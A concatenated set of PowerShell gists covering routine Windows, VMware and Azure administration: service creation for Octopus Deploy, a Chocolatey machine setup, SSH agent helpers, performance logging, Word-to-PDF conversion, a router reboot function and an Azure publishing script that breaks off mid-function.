PowerShellCorpus/GithubGist/ryandanthony_dce72049b9edb56bb88e_raw_5faa2514a0fed3bad1549300e8cf39b9d3976c46_Octopus.Features.WindowsService_BeforePostDeploy.ps1
ryandanthony_dce72049b9edb56bb88e_raw_5faa2514a0fed3bad1549300e8cf39b9d3976c46_Octopus.Features.WindowsService_BeforePostDeploy.ps1
## -------------------------------------------------------------------------------------- ## Configuration ## -------------------------------------------------------------------------------------- $isEnabled = $OctopusParameters["Octopus.Action.WindowsService.CreateOrUpdateService"] if (!$isEnabled -or ![Bool]::Parse($isEnabled)) { exit 0 } $serviceName = $OctopusParameters["Octopus.Action.WindowsService.ServiceName"] $displayName = $OctopusParameters["Octopus.Action.WindowsService.DisplayName"] $executablePath = $OctopusParameters["Octopus.Action.WindowsService.ExecutablePath"] $arguments = $OctopusParameters["Octopus.Action.WindowsService.Arguments"] $startMode = $OctopusParameters["Octopus.Action.WindowsService.StartMode"] $serviceAccount = $OctopusParameters["Octopus.Action.WindowsService.ServiceAccount"] $customAccountName = $OctopusParameters["Octopus.Action.WindowsService.CustomAccountName"] $customAccountPassword = $OctopusParameters["Octopus.Action.WindowsService.CustomAccountPassword"] $dependencies = $OctopusParameters["Octopus.Action.WindowsService.Dependencies"] $description = $OctopusParameters["Octopus.Action.WindowsService.Description"] ## -------------------------------------------------------------------------------------- ## Run ## -------------------------------------------------------------------------------------- $fullPath = (Resolve-Path $executablePath).ProviderPath if (!(test-path $fullPath)) { Write-Error "The service executable file could not be found: $fullPath" exit -1 } if (!$serviceName) { Write-Error "No service name was specified. Please specify a service name, or disable the Windows Service feature for this project." exit -2 } $binPath = $fullPath if ($arguments) { $arguments = $arguments.Replace("`"", "\`"") $binPath = ($binPath + " " + $arguments) } $fullArguments = "`"$serviceName`" binPath= `"$binPath`"" if ($displayName) { $fullArguments = ($fullArguments + " DisplayName= `"" + $displayName + "`"") } $fullArguments = ($fullArguments + " depend= `"" + $dependencies + "`"") if ($startMode -and ($startMode -ne 'unchanged')) { $fullArguments = ($fullArguments + " start= `"" + $startMode + "`"") } $fullArgumentsSafeForConsole = $fullArguments if ($serviceAccount -ne "_CUSTOM") { if ($serviceAccount) { $fullArguments = ($fullArguments + " obj= `"" + $serviceAccount + "`"") } $fullArgumentsSafeForConsole = $fullArguments } else { if ($customAccountName) { $fullArguments = ($fullArguments + " obj= `"" + $customAccountName + "`"") } $fullArgumentsSafeForConsole = $fullArguments if ($customAccountPassword) { $originalArgs = $fullArguments $fullArguments = ($originalArgs + " password= `"" + $customAccountPassword + "`"") $fullArgumentsSafeForConsole = ($originalArgs + " password= `"************`"") } } $service = Get-Service $ServiceName -ErrorAction SilentlyContinue if (!$service) { Write-Host "The $serviceName service does not exist. It will be created." Write-Host "sc.exe create $fullArgumentsSafeForConsole" & Invoke-Expression "sc.exe create $fullArguments" if ($LastExitCode -ne 0) { throw "sc.exe create failed with exit code: $LastExitCode" } } else { Write-Host "The $serviceName service already exists. It will be stopped and reconfigured." Write-Host "Stopping the $serviceName service" Stop-Service $ServiceName -Force Write-Host "sc.exe config $fullArgumentsSafeForConsole" & Invoke-Expression "sc.exe config $fullArguments" if ($LastExitCode -ne 0) { throw "sc.exe config failed with exit code: $LastExitCode" } } if ($description) { Write-Host "Updating the service description" & "sc.exe" description $serviceName $description if ($LastExitCode -ne 0) { throw "sc.exe description failed with exit code: $LastExitCode" } } $status = Get-WMIObject win32_service -filter ("name='" + $serviceName + "'") -computer "." | select -expand startMode if ($startMode -eq "unchanged") { Write-Host "The $serviceName service start mode is set to unchanged, so it won't be started. You will need to start the service manually." } elseif ($status -eq "Disabled") { Write-Host "The $serviceName service is disabled, so it won't be started." } elseif ($startMode -eq "demand") { Write-Host "The $serviceName service is set to 'Manual' start-up, so Octopus won't start it here." } else { Write-Host "Starting the $serviceName service" Start-Service $ServiceName Write-Host "Service started" }
PowerShellCorpus/GithubGist/The13thDoc_0b3222d28d4fad2eb647_raw_6e52a5ca51b5ec08136a3c0771850832cf809b81_hello-world.ps1
The13thDoc_0b3222d28d4fad2eb647_raw_6e52a5ca51b5ec08136a3c0771850832cf809b81_hello-world.ps1
# Hello, World. $hello = "Hello, World." function say_hello { Write-Output $hello } say_hello <# If this is your first time running a Powershell (.ps1) script, you may have an issue running the script due to default resrictions. Type this into the shell: Set-ExecutionPolicy RemoteSigned #>
PowerShellCorpus/GithubGist/mrcaron_6116039_raw_8e3008121d9a39c7eb22488b98ea379b44cc2902_PowershellSnippets.ps1
mrcaron_6116039_raw_8e3008121d9a39c7eb22488b98ea379b44cc2902_PowershellSnippets.ps1
# First N in file listing function doSomething {} ls $directory | select -first 10 | %{ &doSomething } # Shutdown a list of machines with a name scheme of "machine-prefix-", numbered from 1-12 (0..12) | %{ shutdown -r -t 0 -f -m $("machine-prefix" + "{0:D2}" -f $_) }
PowerShellCorpus/GithubGist/fgarcia_7524015_raw_a7c8a42921e3ee9960351a4b24dbeae75536a5dc_gistfile1.ps1
fgarcia_7524015_raw_a7c8a42921e3ee9960351a4b24dbeae75536a5dc_gistfile1.ps1
# # uncrustify config file for objective-c and objective-c++ # indent_with_tabs = 0 # 1=indent to level only, 2=indent with tabs output_tab_size = 2 # new tab size indent_columns = output_tab_size indent_label = 2 # pos: absolute col, neg: relative column indent_align_assign = FALSE indent_oc_block = true indent_oc_block_msg = 0 # # Indenting # # indent_brace = 0 indent_switch_case = indent_columns # # Inter-symbol newlines # nl_enum_brace = remove # "enum {" vs "enum \n {" nl_union_brace = remove # "union {" vs "union \n {" nl_struct_brace = remove # "struct {" vs "struct \n {" nl_do_brace = remove # "do {" vs "do \n {" nl_if_brace = remove # "if () {" vs "if () \n {" nl_for_brace = remove # "for () {" vs "for () \n {" nl_else_brace = remove # "else {" vs "else \n {" nl_while_brace = remove # "while () {" vs "while () \n {" nl_switch_brace = remove # "switch () {" vs "switch () \n {" nl_brace_while = remove # "} while" vs "} \n while" - cuddle while nl_brace_else = remove # "} else" vs "} \n else" - cuddle else nl_func_var_def_blk = 0 # add new lines after a block of variable decls nl_fcall_brace = remove # "list_for_each() {" vs "list_for_each()\n{" nl_fdef_brace = add # "int foo() {" vs "int foo()\n{" #nl_after_return = true #nl_before_case = true #ml_after_case = true # Force a newline in a define after the macro name for multi-line defines. nl_multi_line_define = true # false/true # Add a newline between ')' and '{' if the ')' is on a different line than the if/for/etc. # Overrides nl_for_brace, nl_if_brace, nl_switch_brace, nl_while_switch, and nl_catch_brace. nl_multi_line_cond = false # false/true # The number of newlines after '}' of a multi-line function body nl_after_func_body = 2 # number # The number of newlines after '}' of a single line function body nl_after_func_body_one_liner = 2 # number # # Source code modifications # mod_paren_on_return = ignore # "return 1;" vs "return (1);" mod_full_brace_if = ignore # "if (a) a--;" vs "if (a) { a--; }" mod_full_brace_for = add # "for () a--;" vs "for () { a--; }" mod_full_brace_do = ignore # "do a--; while ();" vs "do { a--; } while ();" mod_full_brace_while = remove # "while (a) a--;" vs "while (a) { a--; }" mod_full_brace_nl = 3 # don't remove if more than 3 newlines mod_add_long_ifdef_else_comment = 8 mod_add_long_switch_closebrace_comment = 8 mod_add_long_function_closebrace_comment = 20 # # Inter-character spacing options # # sp_return_paren = force # "return (1);" vs "return(1);" sp_sizeof_paren = remove # "sizeof (int)" vs "sizeof(int)" sp_before_sparen = force # "if (" vs "if(" sp_after_sparen = force # "if () {" vs "if (){" sp_after_cast = remove # "(int) a" vs "(int)a" sp_inside_braces = add # "{ 1 }" vs "{1}" sp_inside_braces_struct = add # "{ 1 }" vs "{1}" sp_inside_braces_enum = add # "{ 1 }" vs "{1}" sp_inside_fparen = remove # "func( param )" vs "func(param)" sp_inside_sparen = remove sp_paren_brace = force # Add or remove space between ')' and '{' of function sp_fparen_brace = force # ignore/add/remove/force sp_assign = add sp_arith = add sp_bool = add sp_compare = add sp_after_comma = add sp_func_def_paren = remove # "int foo (){" vs "int foo(){" sp_func_call_paren = remove # "foo (" vs "foo(" sp_func_proto_paren = remove # "int foo ();" vs "int foo();" sp_before_ptr_star = force sp_after_ptr_star = remove sp_before_unnamed_ptr_star = ignore sp_between_ptr_star = remove sp_after_ptr_star_func = force sp_before_ptr_star_func = force sp_cmt_cpp_start = ignore sp_cond_question = force sp_cond_colon = force sp_else_brace = force sp_brace_else = force sp_after_class_colon = force sp_before_class_colon = force sp_before_case_colon = remove #sp_after_case_colon = force #sp_case_label = force # Objective-C specifics sp_before_oc_colon = remove sp_after_oc_colon = remove sp_after_oc_scope = force sp_after_oc_type = remove sp_after_oc_return_type = remove sp_before_send_oc_colon = remove sp_after_send_oc_colon = remove sp_after_oc_at_sel = remove sp_inside_oc_at_sel_parens = remove sp_before_oc_block_caret = ignore sp_after_oc_block_caret = remove sp_inside_square = remove # # Aligning stuff # align_with_tabs = False # use tabs to align align_on_tabstop = False # align on tabstops # align_keep_tabs = True align_enum_equ_span = 4 # '=' in enum definition # align_nl_cont = True # align_var_def_span = 2 # align_var_def_inline = True # align_var_def_star = False # align_var_def_colon = True # align_assign_span = 1 align_struct_init_span = 4 # align stuff in a structure init '= { }' align_right_cmt_span = 8 align_right_cmt_gap = 8 align_pp_define_span = 8 #align_typedef_span = 5 #align_typedef_gap = 3 # Objective-C specifics align_oc_msg_colon_span = 1 # align parameters in an Obj-C message on the ':' but stop after this many lines (0=don't align) align_oc_msg_spec_span = 0 # the span for aligning ObjC msg spec (0=don't align) align_oc_decl_colon = True # # Line Splitting options # # ls_func_split_full = True # Whether to fully split long function protos/calls at commas # # Comment modifications # cmt_star_cont = False # Whether to put a star on subsequent comment lines eat_blanks_before_close_brace = TRUE eat_blanks_after_open_brace = TRUE
PowerShellCorpus/GithubGist/belotn_5405578_raw_2f78657c95f6de7c5a08b4c7fc32515e00196443_IISListIP.ps1
belotn_5405578_raw_2f78657c95f6de7c5a08b4c7fc32515e00196443_IISListIP.ps1
get-content "Path/To/File" |? { $_ -notlike "#[D,S-V]*"} |%{ @($_.Split(" "))[8] }|sort | group | select Name,Count,@{N='HostName',E={[system.net.dns]::GetHostEntry($_.Name}.HostName } }
PowerShellCorpus/GithubGist/vScripter_4cfa84960b3fc022d940_raw_54f374eb0f2426fcbf4144905d80ebcd4f2afa47_Add-PowerCLI.ps1
vScripter_4cfa84960b3fc022d940_raw_54f374eb0f2426fcbf4144905d80ebcd4f2afa47_Add-PowerCLI.ps1
<# .DESCRIPTION Load appropriate PowerCLI PSSnapins. These are based on PowerCLI 5.8 R1. #> [cmdletbinding()] param() PROCESS { try { Add-PSSnapin VMware.VimAutomation.Core Add-PSSnapin VMware.VimAutomation.Vds Add-PSSnapin VMware.VimAutomation.License Add-PSSnapin VMware.DeployAutomation Add-PSSnapin VMware.ImageBuilder Add-PSSnapin VMware.VimAutomation.Storage } catch { Write-Warning -Message "Error adding one of the PowerCLI PSSnapins - $_" } # end try/catch block } # end process block
PowerShellCorpus/GithubGist/takekazuomi_7946253_raw_dab56a5ad670d6fbc03f9d7b89bd23a37b13d345_xml.ps1
takekazuomi_7946253_raw_dab56a5ad670d6fbc03f9d7b89bd23a37b13d345_xml.ps1
$xml = [xml](Get-Content $config -Encoding UTF8) $site = $xml.configuration."system.applicationHost".sites.site | where { $_.name -eq $siteName } $site.application.virtualDirectory.SetAttribute("physicalPath", $applicationRoot) $writer = New-Object System.XMl.XmlTextWriter($configSite, (New-Object System.Text.UTF8Encoding(false))) # pretty formatting: $writer.Formatting = 'Indented' $writer.Indentation = 1 $writer.IndentChar = "`t" $xml.Save($writer) $writer.Close()
PowerShellCorpus/GithubGist/CSGA-KPX_0e13b6fdb7962e70ad13_raw_128082e27f183b1ec951e17ccf405cf427550fad_main.ps1
CSGA-KPX_0e13b6fdb7962e70ad13_raw_128082e27f183b1ec951e17ccf405cf427550fad_main.ps1
Update-ExecutionPolicy Unrestricted Move-LibraryDirectory "Personal" "Z:\KPX\Documents" -DoNotMoveOldContent Move-LibraryDirectory "Desktop" "Z:\KPX\Desktop" -DoNotMoveOldContent Move-LibraryDirectory "My Music" "Z:\KPX\Music" -DoNotMoveOldContent Move-LibraryDirectory "My Pictures" "Z:\KPX\Pictures" -DoNotMoveOldContent Move-LibraryDirectory "My Video" "Z:\KPX\Video" -DoNotMoveOldContent Move-LibraryDirectory "{374DE290-123F-4565-9164-39C4925E467B}" "D:\\" -DoNotMoveOldContent [Environment]::SetEnvironmentVariable("TMP", "T:\SysTemp", "User") [Environment]::SetEnvironmentVariable("TEMP", "T:\SysTemp", "User") [Environment]::SetEnvironmentVariable("TMP", "T:\SysTemp", "Machine") [Environment]::SetEnvironmentVariable("TEMP", "T:\SysTemp", "Machine") Set-ExplorerOptions -showHidenFilesFoldersDrives -showProtectedOSFiles -showFileExtensions cinst vcredist2005 cinst vcredist2008 cinst vcredist2010 cinst vcredist2012 cinst vcredist2013 cinst 7zip.install cinst python2-x86_32 #cinst python3-x86_32 #cinst pip cinst cmder cinst google-chrome cinst lastpass #cinst fiddler4 cinst javaruntime #cinst Listary cinst everything.beta.install cinst f.lux cinst evernote cinst paint.net cinst paint.net-effectspack cinst paint.net-filetypespack cinst TortoiseGit cinst SublimeText2.app cinst picasa cinst notepad2-mod cinst autohotkey.install cinst mactype #cinst hugin.install Write-Host "Redirect chrome profiles" pause #Install-WindowsUpdate -AcceptEula
PowerShellCorpus/GithubGist/guitarrapc_ef302697e6c3e7fe1f51_raw_e4062285390c1db619ba48cea4dab7695c7f3aab_PowerShellClassScopeCheck.ps1
guitarrapc_ef302697e6c3e7fe1f51_raw_e4062285390c1db619ba48cea4dab7695c7f3aab_PowerShellClassScopeCheck.ps1
$d = 42 # Script scope function bar { $d = 0 # Function scope [MyClass]::DoSomething() } class MyClass { static [object] DoSomething() { return $d # error, not found dynamically return $script:d # no error $d = $script:d return $d # no error, found lexically } } $v = bar $v -eq $d # true
PowerShellCorpus/GithubGist/GuruAnt_7215254_raw_26e9641e8f552edabe2791ee418754878d9b43c0_AddDrivePersistenceAsCustomAttribute.ps1
GuruAnt_7215254_raw_26e9641e8f552edabe2791ee418754878d9b43c0_AddDrivePersistenceAsCustomAttribute.ps1
$VCServerName = "MyVCServer" $VC = Connect-VIServer $VCServerName $SI = Get-View ServiceInstance $CFM = Get-View $SI.Content.CustomFieldsManager # Variables $CustomFieldName = "HD Persistence" $ManagedObjectType = "VirtualMachine" # Check if the custom field already exists $myCustomField = $CFM.Field | Where {$_.Name -eq $CustomFieldName} If (!$myCustomField){ # Create Custom Field $FieldCopy = $CFM.Field[0] $CFM.AddCustomFieldDef($CustomFieldName, $ManagedObjectType, $FieldCopy.FieldDefPrivileges, $FieldCopy.FieldInstancePrivileges) } # Get the machine objects $objVMs = (Get-VM) + (Get-Template) # Loop through each of the machine objects ForEach ($objVM in $objVMs){ $strPersistence = "" $objHardDisks = $objVM | Get-HardDisk # Count the number of hard drives $intHardDisks = ($objHardDisks | Measure-Object).count # Loop through each of the hard disks ForEach ($objHardDisk in $objHardDisks){ # Replace default persisstence states with initials for brevity Switch ($objHardDisk.Persistence) { Persistent { $strPersistenceInitial = "P" } IndependentPersistent { $strPersistenceInitial = "IP" } IndependentNonPersistent { $strPersistenceInitial = "INP" } } # Concatenate the initial onto the persistence string $strPersistence = "$strPersistence" + $strPersistenceInitial # If there are more hard drives to add If ($intHardDisks -gt 1) { # Append a comma and a space (there may be a more elegant way of doing this) $strPersistence = "$strPersistence" + ", " # Count down the number of hard drives $intHardDisks -= 1 } } # Add the $strPersistence to custom attribute $CustomFieldName (HD Persistence) If ($strPersistence){ $VMView = $objVM | Get-View $VMView.setCustomValue($CustomFieldName,$strPersistence) } }
PowerShellCorpus/GithubGist/ctorx_574855_raw_0ccf27cc76cb785d2682330a152824b70eac92c3_ssh-agent-utils.ps1
ctorx_574855_raw_0ccf27cc76cb785d2682330a152824b70eac92c3_ssh-agent-utils.ps1
# SSH Agent Functions # Mark Embling (http://www.markembling.info/) # # How to use: # - Place this file into %USERPROFILE%\Documents\WindowsPowershell (or location of choice) # - Import into your profile.ps1: # e.g. ". (Resolve-Path ~/Documents/WindowsPowershell/ssh-agent-utils.ps1)" [without quotes] # - Enjoy # # Note: ensure you have ssh and ssh-agent available on your path, from Git's Unix tools or Cygwin. # Retrieve the current SSH agent PId (or zero). Can be used to determine if there # is an agent already starting. function Get-SshAgent() { $agentPid = [Environment]::GetEnvironmentVariable("SSH_AGENT_PID", "User") if ([int]$agentPid -eq 0) { $agentPid = [Environment]::GetEnvironmentVariable("SSH_AGENT_PID", "Process") } if ([int]$agentPid -eq 0) { 0 } else { # Make sure the process is actually running $process = Get-Process -Id $agentPid -ErrorAction SilentlyContinue if(($process -eq $null) -or ($process.ProcessName -ne "ssh-agent")) { # It is not running (this is an error). Remove env vars and return 0 for no agent. [Environment]::SetEnvironmentVariable("SSH_AGENT_PID", $null, "Process") [Environment]::SetEnvironmentVariable("SSH_AGENT_PID", $null, "User") [Environment]::SetEnvironmentVariable("SSH_AUTH_SOCK", $null, "Process") [Environment]::SetEnvironmentVariable("SSH_AUTH_SOCK", $null, "User") 0 } else { # It is running. Return the PID. $agentPid } } } # Start the SSH agent. function Start-SshAgent() { # Start the agent and gather its feedback info [string]$output = ssh-agent $lines = $output.Split(";") $agentPid = 0 foreach ($line in $lines) { if (([string]$line).Trim() -match "(.+)=(.*)") { # Set environment variables for user and current process. [Environment]::SetEnvironmentVariable($matches[1], $matches[2], "Process") [Environment]::SetEnvironmentVariable($matches[1], $matches[2], "User") if ($matches[1] -eq "SSH_AGENT_PID") { $agentPid = $matches[2] } } } # Show the agent's PID as expected. Write-Host "SSH agent PID:", $agentPid } # Stop a running SSH agent function Stop-SshAgent() { [int]$agentPid = Get-SshAgent if ([int]$agentPid -gt 0) { # Stop agent process $proc = Get-Process -Id $agentPid if ($proc -ne $null) { Stop-Process $agentPid } # Remove all enviroment variables [Environment]::SetEnvironmentVariable("SSH_AGENT_PID", $null, "Process") [Environment]::SetEnvironmentVariable("SSH_AGENT_PID", $null, "User") [Environment]::SetEnvironmentVariable("SSH_AUTH_SOCK", $null, "Process") [Environment]::SetEnvironmentVariable("SSH_AUTH_SOCK", $null, "User") } } # Add a key to the SSH agent function Add-SshKey() { if ($args.Count -eq 0) { # Add the default key (~/id_rsa) ssh-add } else { foreach ($value in $args) { ssh-add $value } } } # Start the agent if not already running; provide feedback $agent = Get-SshAgent if ($agent -eq 0) { Write-Host "Starting SSH agent..." Start-SshAgent # Start agent Add-SshKey # Add my default key } else { Write-Host "SSH agent is running (PID $agent)" }
PowerShellCorpus/GithubGist/michaelcoyote_9b0c285aa1b9afce6205_raw_bf22aaa579fd670951ef800ba19a957aee325cc8_Perf2CSV.ps1
michaelcoyote_9b0c285aa1b9afce6205_raw_bf22aaa579fd670951ef800ba19a957aee325cc8_Perf2CSV.ps1
# Quick & dirty PowerShell script for polling Windows PerfMon counters and dumping into a CSV file # setup PowerShell internals $1GBInBytes = 1GB $Computer = $env:COMPUTERNAME # Set the log destination directory $LogDir="C:\MTGLogs\" # Set the performance counters below # customize as needed $perfcounters = @("\Memory\Available Bytes", "\Memory\Committed Bytes", "\Memory\Pages/sec", "\PhysicalDisk(_Total)\Current Disk Queue Length", "\PhysicalDisk(_Total)\% Disk Time", "\Processor(_Total)\% Processor Time" "\Processor(_Total)\Interrupts/sec", "\System\Processor Queue Length", "\Network Interface(dw1520 wireless-n wlan half-mini card)\Output Queue Length", "\Network Interface(dw1520 wireless-n wlan half-mini card)\Bytes Received/sec", "\Network Interface(dw1520 wireless-n wlan half-mini card)\Bytes Sent/sec"); # set up the file names and paths for logs $date = Get-Date -Format 'yyyy_MM_dd-HH_mm_ss' $LogFile = "$LogDir\Perfs_log_$date.csv" # create the log directory if missing if( !(test-path $LogDir)) {New-Item $LogDir -type directory} # # get the performance counters. # Set -SampleInterval in seconds (currently every 10 sec.) # Set -MaxSamples in number of samples (e.g. for 5 minutes of samples set to 30) # can also use -continous instead of -MaxSampes n to run until stopped Get-Counter -counter $perfcounters -SampleInterval 10 -MaxSamples 60 | export-counter -Path $LogFile -FileFormat CSV
PowerShellCorpus/GithubGist/pkirch_dc4cd405c36e0d457776_raw_3ba0804ce703a06401a707bcea630440841823b4_Start-AzureVMSample.ps1
pkirch_dc4cd405c36e0d457776_raw_3ba0804ce703a06401a707bcea630440841823b4_Start-AzureVMSample.ps1
Start-AzureVM -ServiceName leasetest3 -Name host3 <# Output OperationDescription OperationId OperationStatus -------------------- ----------- --------------- Start-AzureVM 92a7ff2a-2a63-5e60-893c-80d063f721a6 Succeeded #>
PowerShellCorpus/GithubGist/mkoertgen_2087bacda9cff0fa68aa_raw_ae6e52a49dda55a8ef6a2c762d5491bc3b183951_doc2pdf.ps1
mkoertgen_2087bacda9cff0fa68aa_raw_ae6e52a49dda55a8ef6a2c762d5491bc3b183951_doc2pdf.ps1
# cf.: # - http://blog.coolorange.com/2012/04/20/export-word-to-pdf-using-powershell/ # - https://gallery.technet.microsoft.com/office/Script-to-convert-Word-f702844d # http://blogs.technet.com/b/heyscriptingguy/archive/2013/03/24/weekend-scripter-convert-word-documents-to-pdf-files-with-powershell.aspx param([string]$DocInput, [string]$PdfOutput = '.\output.pdf') Add-type -AssemblyName Microsoft.Office.Interop.Word function WordToPdf([string]$wdSourceFile, [string]$wdExportFile) { $wdExportFormat = [Microsoft.Office.Interop.Word.WdExportFormat]::wdExportFormatPDF $wdOpenAfterExport = $false $wdExportOptimizeFor = [Microsoft.Office.Interop.Word.WdExportOptimizeFor]::wdExportOptimizeForOnScreen $wdExportRange = [Microsoft.Office.Interop.Word.WdExportRange]::wdExportAllDocument $wdStartPage = 0 $wdEndPage = 0 $wdExportItem = [Microsoft.Office.Interop.Word.WdExportItem]::wdExportDocumentContent $wdIncludeDocProps = $true $wdKeepIRM = $true $wdCreateBookmarks = [Microsoft.Office.Interop.Word.WdExportCreateBookmarks]::wdExportCreateWordBookmarks $wdDocStructureTags = $true $wdBitmapMissingFonts = $true $wdUseISO19005_1 = $false $wdApplication = $null; $wdDocument = $null; # How to: Programmatically Close Documents (without changes) # http://msdn.microsoft.com/en-us/library/af6z0wa2.aspx $doNotSaveChanges = [Microsoft.Office.Interop.Word.WdSaveOptions]::wdDoNotSaveChanges try { $wdApplication = New-Object -ComObject "Word.Application" $wdDocument = $wdApplication.Documents.Open($wdSourceFile) $wdDocument.ExportAsFixedFormat( $wdExportFile, $wdExportFormat, $wdOpenAfterExport, $wdExportOptimizeFor, $wdExportRange, $wdStartPage, $wdEndPage, $wdExportItem, $wdIncludeDocProps, $wdKeepIRM, $wdCreateBookmarks, $wdDocStructureTags, $wdBitmapMissingFonts, $wdUseISO19005_1 ) } catch { $wshShell = New-Object -ComObject WScript.Shell $wshShell.Popup($_.Exception.ToString(), 0, "Error", 0) $wshShell = $null } finally { if ($wdDocument) { $wdDocument.Close([ref]$doNotSaveChanges) $wdDocument = $null } if ($wdApplication) { $wdApplication.Quit() $wdApplication = $null } [GC]::Collect() [GC]::WaitForPendingFinalizers() } } $FullInput = (Get-Item ${DocInput}).FullName # http://stackoverflow.com/questions/3038337/powershell-resolve-path-that-might-not-exist $FullOutput = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath(${PdfOutput}) Write-Host "Converting ${FullInput} to ${FullOutput}..." WordToPdf ${FullInput} ${FullOutput}
PowerShellCorpus/GithubGist/GuruAnt_6bff34ad037275723969_raw_f07e1557e3ca44961ac1001c555a6f53893e539b_Restart-VirginRouter.ps1
GuruAnt_6bff34ad037275723969_raw_f07e1557e3ca44961ac1001c555a6f53893e539b_Restart-VirginRouter.ps1
function Restart-VirginRouter { <# .Synopsis Restarts a Virgin Media Suberhub. .Description Restarts a Virgin Media Suberhub using the web interface. .Parameter RouterIP The IP address of the router. .Parameter Username The username used to log into the web interface. .Parameter Password, The password used to log into the web interface. .Example Restart-VirginRouter -RouterIP "192.168.0.1" -Username "admin" -Password "hunter2" Restarts the router using the specified credentials. .Notes Ben Neise 23/02/15 #> param ( [Parameter( Mandatory = $true, Position = 1 )] [string] $RouterIP, [Parameter( Mandatory = $true, Position = 2 )] [string] $Username, [Parameter( Mandatory = $true, Position = 3 )] [string] $Password ) # Login $loginParams = @{ VmLoginUsername = $username; VmLoginPassword = $password; VmLoginErrorCode = 0; VmChangePasswordHint = 0 } Invoke-WebRequest -Uri ("http://" + $routerIP + "/goform/VmLogin") -Method "POST" -Body $loginParams -SessionVariable "Session" # Restart $restartParams = @{ VmDeviceRestore = 0; VmDeviceReboot = 1 } Invoke-WebRequest -Uri ("http://" + $routerIP + "/goform/VmRgRebootRestoreDevice") -Method "POST" -Body $restartParams -SessionVariable "Session" }
PowerShellCorpus/GithubGist/litodam_6829698_raw_252a0a68a7700beaace18381d662f0889f30caf5_AzurePublish.ps1
litodam_6829698_raw_252a0a68a7700beaace18381d662f0889f30caf5_AzurePublish.ps1
#NOTE: This script is based on the Microsoft provided guidance example at # https://www.windowsazure.com/en-us/develop/net/common-tasks/continuous-delivery/. Param( [parameter(Mandatory=$true)] $serviceName, [parameter(Mandatory=$true)] $storageAccountName, [parameter(Mandatory=$true)] $storageAccountKey, [parameter(Mandatory=$true)] $cloudConfigLocation, [parameter(Mandatory=$true)] $packageLocation, $slot = "Staging", $deploymentLabel = $null, $timeStampFormat = "g", $alwaysDeleteExistingDeployments = 1, $enableDeploymentUpgrade = 1, [parameter(Mandatory=$true)] $selectedSubscription, $thumbprint, $subscriptionId, $location ) function SuspendDeployment() { write-progress -id 1 -activity "Suspending Deployment" -status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Suspending Deployment: In progress" $suspend = Set-AzureDeployment -Slot $slot -ServiceName $serviceName -Status Suspended write-progress -id 1 -activity "Suspending Deployment" -status $opstat Write-Output "$(Get-Date –f $timeStampFormat) - Suspending Deployment: $opstat" } function DeleteDeployment() { SuspendDeployment write-progress -id 2 -activity "Deleting Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Deleting Deployment: In progress" $removeDeployment = Remove-AzureDeployment -Slot $slot -ServiceName $serviceName Write-Output "$(Get-Date –f $timeStampFormat) - Deleting Deployment: $opstat" sleep -Seconds 10 } function UploadPackage() { # As of the Windows Azure PowerShell cmdlets v0.6.11, there is no support for uploading files to blob storage. # The New-AzureDeployment cmdlet requires the .cspkg file to be in blob storage. To work around this current limitation, # use the Cerebrata Powershell cmdlets (http://www.cerebrata.com/products/azure-management-cmdlets/introduction) $blobFile = Get-ChildItem $packageLocation $script:packageBlob = Import-File -File $packageLocation -BlobContainerName "mydeployments" -BlobName $blobFile.Name -DisplayProgress ` -AccountName $storageAccountName -AccountKey $storageAccountKey } function Publish() { CreateService $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot if ($deployment -eq $null) { write-host "No deployment is detected. Creating a new deployment. " } #check for existing deployment and then either upgrade, delete + deploy, or cancel according to $alwaysDeleteExistingDeployments and $enableDeploymentUpgrade boolean variables if ($deployment.Name -ne $null) { switch ($alwaysDeleteExistingDeployments) { 1 { UploadPackage switch ($enableDeploymentUpgrade) { 1 { Write-Output "$(Get-Date –f $timeStampFormat) - Deployment exists in $servicename. Upgrading deployment." UpgradeDeployment } 0 #Delete then create new deployment { Write-Output "$(Get-Date –f $timeStampFormat) - Deployment exists in $servicename. Deleting deployment." DeleteDeployment CreateNewDeployment } } # switch ($enableDeploymentUpgrade) } 0 { Write-Output "$(Get-Date –f $timeStampFormat) - ERROR: Deployment exists in $servicename. Script execution cancelled." exit } } } else { UploadPackage CreateNewDeployment } } function CreateNewDeployment() { write-progress -id 3 -activity "Creating New Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Creating New Deployment: In progress" $newdeployment = New-AzureDeployment -Verbose -Slot $slot -Package $packageBlob.BlobUrl -Configuration $cloudConfigLocation -label $deploymentLabel -ServiceName $serviceName -ErrorVariable err -ErrorAction continue if ($err.count -ne 0) { Write-Error "$(Get-Date –f $timeStampFormat) - ERROR: Deployment creating new deployment in $servicename. Script execution cancelled." exit 1 } StartInstances } function CreateService() { $svc = Get-AzureService -ServiceName $servicename if ($svc -eq $null) { New-AzureService -ServiceName $servicename -Location $location } } function UpgradeDeployment() { write-progress -id 3 -activity "Upgrading Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Upgrading Deployment: In progress" Set-AzureDeployment -Upgrade -ServiceName $serviceName -Mode Auto -Label $deploymentLabel -Package $packageBlob.BlobUrl -Configuration $cloudConfigLocation -Slot $slot -Force StartInstances } function StartInstances() { # write-progress -id 4 -activity "Starting Instances" -status "In progress" # Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instances: In progress" # # $run = Set-AzureDeployment -Slot $slot -ServiceName $serviceName -Status Running $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $oldStatusStr = @("") * $deployment.RoleInstanceList.Count while (-not(AllInstancesRunning($deployment.RoleInstanceList))) { $i = 1 foreach ($roleInstance in $deployment.RoleInstanceList) { $instanceName = $roleInstance.InstanceName $instanceStatus = $roleInstance.InstanceStatus # Did the status change? if ($oldStatusStr[$i - 1] -ne $roleInstance.InstanceStatus) { $oldStatusStr[$i - 1] = $roleInstance.InstanceStatus Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instance '$instanceName': $instanceStatus" } write-progress -id (4 + $i) -activity "Starting Instance '$instanceName'" -status "$instanceStatus" $i = $i + 1 } sleep -Seconds 1 $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot } $i = 1 foreach ($roleInstance in $deployment.RoleInstanceList) { $instanceName = $roleInstance.InstanceName $instanceStatus = $roleInstance.InstanceStatus if ($oldStatusStr[$i - 1] -ne $roleInstance.InstanceStatus) { $oldStatusStr[$i - 1] = 